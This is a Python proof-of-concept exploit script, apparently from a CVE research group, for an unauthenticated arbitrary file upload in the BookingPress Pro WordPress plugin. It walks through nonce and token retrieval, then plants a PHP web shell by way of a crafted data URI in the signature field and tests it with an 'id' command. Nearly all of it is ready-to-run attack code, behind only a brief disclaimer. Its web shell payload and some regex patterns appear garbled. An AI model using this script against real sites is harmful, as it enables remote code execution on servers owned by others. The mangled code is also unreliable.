# ========================================================================== # Atomic Edge CVE Research | https://atomicedge.io # CVE-2026-6960 - BookingPress Pro <= 5.6 # Unauthenticated Arbitrary File Upload via Signature Custom Field # # v2 - Technical corrections applied: # - Correct AJAX handler: bookingpress_book_appointment_booking # - Correct payload: data URI (not multipart upload) # - Full 3-step prerequisite chain implemented # - Precondition note: signature custom field must be configured # # LEGAL DISCLAIMER: # For authorized security testing and educational purposes ONLY. # Unauthorized use is prohibited and may violate applicable laws. # You are solely responsible for compliance with applicable laws. # ========================================================================== import requests import argparse import sys import json import base64 import re from urllib.parse import urljoin BANNER = r""" ╔══════════════════════════════════════════════════════════╗ ║ CVE-2026-6960 | BookingPress Pro <= 5.6 v2 ║ ║ Unauthenticated Arbitrary File Upload (Corrected) ║ ║ Atomic Edge CVE Research | atomicedge.io ║ ╚══════════════════════════════════════════════════════════╝ """ AJAX_PATH = "/wp-admin/admin-ajax.php" UPLOAD_PATH = "/wp-content/uploads/bookingpress/" # PHP web shell payload SHELL_CODE = b'".shell_exec($_GET["cmd"]).""; } ?>' def build_data_uri(payload: bytes, ext: str) -> str: """ Craft a data URI that tricks BookingPress into writing a file with the specified extension. The plugin extracts the extension from the MIME type portion of the data URI via regex, then calls file_put_contents() with that extension — no allowlist check. Format: data:image/{ext};base64,{base64_encoded_payload} """ encoded = base64.b64encode(payload).decode() return f"data:image/{ext};base64,{encoded}" # --------------------------------------------------------------------------- # Step 1 — Fetch WP nonce (_wpnonce) # --------------------------------------------------------------------------- def fetch_wp_nonce(session: requests.Session, target: str, booking_page: str, verify_ssl: bool) -> str | None: url = urljoin(target, booking_page) print(f"[*] Step 1/3 — Fetching _wpnonce from: {url}") try: resp = session.get(url, verify=verify_ssl, timeout=15) resp.raise_for_status() except requests.exceptions.RequestException as e: print(f"[-] Failed to fetch booking page: {e}") return None patterns = [ r'"_wpnonce"\s*:\s*"([^"]+)"', r"'_wpnonce'\s*:\s*'([^']+)'", r']*name="_wpnonce"[^>]*value="([^"]+)"', r']*value="([^"]+)"[^>]*name="_wpnonce"', r'bookingpress_nonce["\s:=]+["\']([a-f0-9]+)["\']', ] for pattern in patterns: match = re.search(pattern, resp.text, re.IGNORECASE) if match: nonce = match.group(1) print(f"[+] _wpnonce found: {nonce}") return nonce print("[-] _wpnonce not found. Ensure the booking form is on the target page.") return None # --------------------------------------------------------------------------- # Step 2 — Fetch timeslot transient (bookingpress_fetch_timeslot_data) # --------------------------------------------------------------------------- def fetch_timeslot_transient(session: requests.Session, target: str, nonce: str, service_id: str, verify_ssl: bool) -> str | None: url = urljoin(target, AJAX_PATH) print(f"[*] Step 2/3 — Fetching timeslot transient...") data = { "action": "bookingpress_fetch_timeslot_data", "_wpnonce": nonce, "service_id": service_id, "selected_date": "2026-06-01", } try: resp = session.post(url, data=data, verify=verify_ssl, timeout=15) print(f"[+] Timeslot response (HTTP {resp.status_code}): {resp.text[:200]}") try: decoded = resp.json() # Extract transient key from response — key name may vary transient = ( decoded.get("data", {}).get("transient_key") or decoded.get("transient_key") or decoded.get("data", {}).get("booking_transient") ) if transient: print(f"[+] Timeslot transient: {transient}") return transient except json.JSONDecodeError: pass # Fallback: regex search in raw response match = re.search(r'"transient_key"\s*:\s*"([^"]+)"', resp.text) if match: print(f"[+] Timeslot transient (regex): {match.group(1)}") return match.group(1) print("[-] Could not extract transient key from timeslot response.") return None except requests.exceptions.RequestException as e: print(f"[-] Timeslot request failed: {e}") return None # --------------------------------------------------------------------------- # Step 3 — Fetch pre-booking verification token # --------------------------------------------------------------------------- def fetch_prebooking_token(session: requests.Session, target: str, nonce: str, transient: str, service_id: str, verify_ssl: bool) -> str | None: url = urljoin(target, AJAX_PATH) print(f"[*] Step 3/3 — Fetching pre-booking verification token...") data = { "action": "bookingpress_pre_booking_verify_details", "_wpnonce": nonce, "transient_key": transient, "service_id": service_id, "selected_date": "2026-06-01", "selected_time": "10:00", } try: resp = session.post(url, data=data, verify=verify_ssl, timeout=15) print(f"[+] Pre-booking response (HTTP {resp.status_code}): {resp.text[:200]}") try: decoded = resp.json() token = ( decoded.get("data", {}).get("verify_token") or decoded.get("verify_token") or decoded.get("data", {}).get("booking_token") ) if token: print(f"[+] Verification token: {token}") return token except json.JSONDecodeError: pass match = re.search(r'"verify_token"\s*:\s*"([^"]+)"', resp.text) if match: print(f"[+] Verification token (regex): {match.group(1)}") return match.group(1) print("[-] Could not extract verification token.") return None except requests.exceptions.RequestException as e: print(f"[-] Pre-booking request failed: {e}") return None # --------------------------------------------------------------------------- # Step 4 — Upload shell via booking submission (data URI method) # --------------------------------------------------------------------------- def upload_shell(session: requests.Session, target: str, nonce: str, transient: str, token: str, service_id: str, shell_name: str, verify_ssl: bool) -> bool: url = urljoin(target, AJAX_PATH) # Extract extension from shell filename (e.g. "shell.php" → "php") ext = shell_name.rsplit(".", 1)[-1] if "." in shell_name else "php" # Build the malicious data URI — plugin extracts ext from MIME type data_uri = build_data_uri(SHELL_CODE, ext) print(f"\n[*] Uploading shell via data URI method...") print(f"[*] Extension injected into MIME type: image/{ext}") print(f"[*] Data URI prefix: data:image/{ext};base64,...") booking_data = { "action": "bookingpress_book_appointment_booking", "_wpnonce": nonce, "transient_key": transient, "verify_token": token, "service_id": service_id, "selected_date": "2026-06-01", "selected_time": "10:00", "customer_firstname": "John", "customer_lastname": "Doe", "customer_email": "john@example.com", "customer_phone": "1234567890", # Signature custom field — the vulnerable parameter "bookingpress_signature_field": data_uri, } try: resp = session.post(url, data=booking_data, verify=verify_ssl, timeout=20) print(f"[+] Upload response (HTTP {resp.status_code}): {resp.text[:300]}\n") return resp.status_code == 200 except requests.exceptions.RequestException as e: print(f"[-] Upload request failed: {e}") return False # --------------------------------------------------------------------------- # Step 5 — Verify shell execution # --------------------------------------------------------------------------- def verify_shell(target: str, shell_name: str, verify_ssl: bool) -> None: shell_url = urljoin(target, UPLOAD_PATH + shell_name) test_url = f"{shell_url}?cmd=id" print(f"[*] Verifying shell at: {shell_url}") try: resp = requests.get(test_url, verify=verify_ssl, timeout=10) if resp.status_code == 200 and "
" in resp.text:
            print(f"[✓] Shell is LIVE!\n")
            print(f"    Output of 'id':\n    {resp.text.strip()}\n")
            print(f"[→] Shell access:\n    {shell_url}?cmd=")
        else:
            print(f"[-] Shell not accessible at default path (HTTP {resp.status_code}).")
            print(f"    Try browsing: {urljoin(target, '/wp-content/uploads/')}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Shell verification failed: {e}")


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        description="CVE-2026-6960 v2 - BookingPress Pro <= 5.6 File Upload PoC (Corrected)"
    )
    parser.add_argument("-u",  "--url",          required=True,
                        help="Target WordPress site URL")
    parser.add_argument("-bp", "--booking-page", default="/",
                        help="Page path containing the BookingPress form (default: /)")
    parser.add_argument("-s",  "--service-id",   default="1",
                        help="BookingPress service ID (default: 1)")
    parser.add_argument("-f",  "--filename",     default="shell.php",
                        help="Shell filename — extension injected into data URI MIME type")
    parser.add_argument("--no-verify",           action="store_true",
                        help="Disable SSL certificate verification")
    args = parser.parse_args()

    target     = args.url.rstrip("/")
    verify_ssl = not args.no_verify

    print("[!] PRECONDITION: This exploit requires a signature-type custom field")
    print("    to be configured in the BookingPress booking form by the site admin.\n")

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)",
    })

    # Step 1: WP nonce
    nonce = fetch_wp_nonce(session, target, args.booking_page, verify_ssl)
    if not nonce:
        sys.exit(1)

    # Step 2: Timeslot transient
    transient = fetch_timeslot_transient(session, target, nonce,
                                         args.service_id, verify_ssl)
    if not transient:
        print("[-] Could not obtain timeslot transient. Aborting.")
        sys.exit(1)

    # Step 3: Pre-booking verification token
    token = fetch_prebooking_token(session, target, nonce, transient,
                                   args.service_id, verify_ssl)
    if not token:
        print("[-] Could not obtain pre-booking token. Aborting.")
        sys.exit(1)

    # Step 4: Upload shell
    success = upload_shell(session, target, nonce, transient, token,
                           args.service_id, args.filename, verify_ssl)

    # Step 5: Verify
    if success:
        verify_shell(target, args.filename, verify_ssl)
    else:
        print("[-] Upload failed. Check prerequisites and responses above.")
        sys.exit(1)


if __name__ == "__main__":
    main()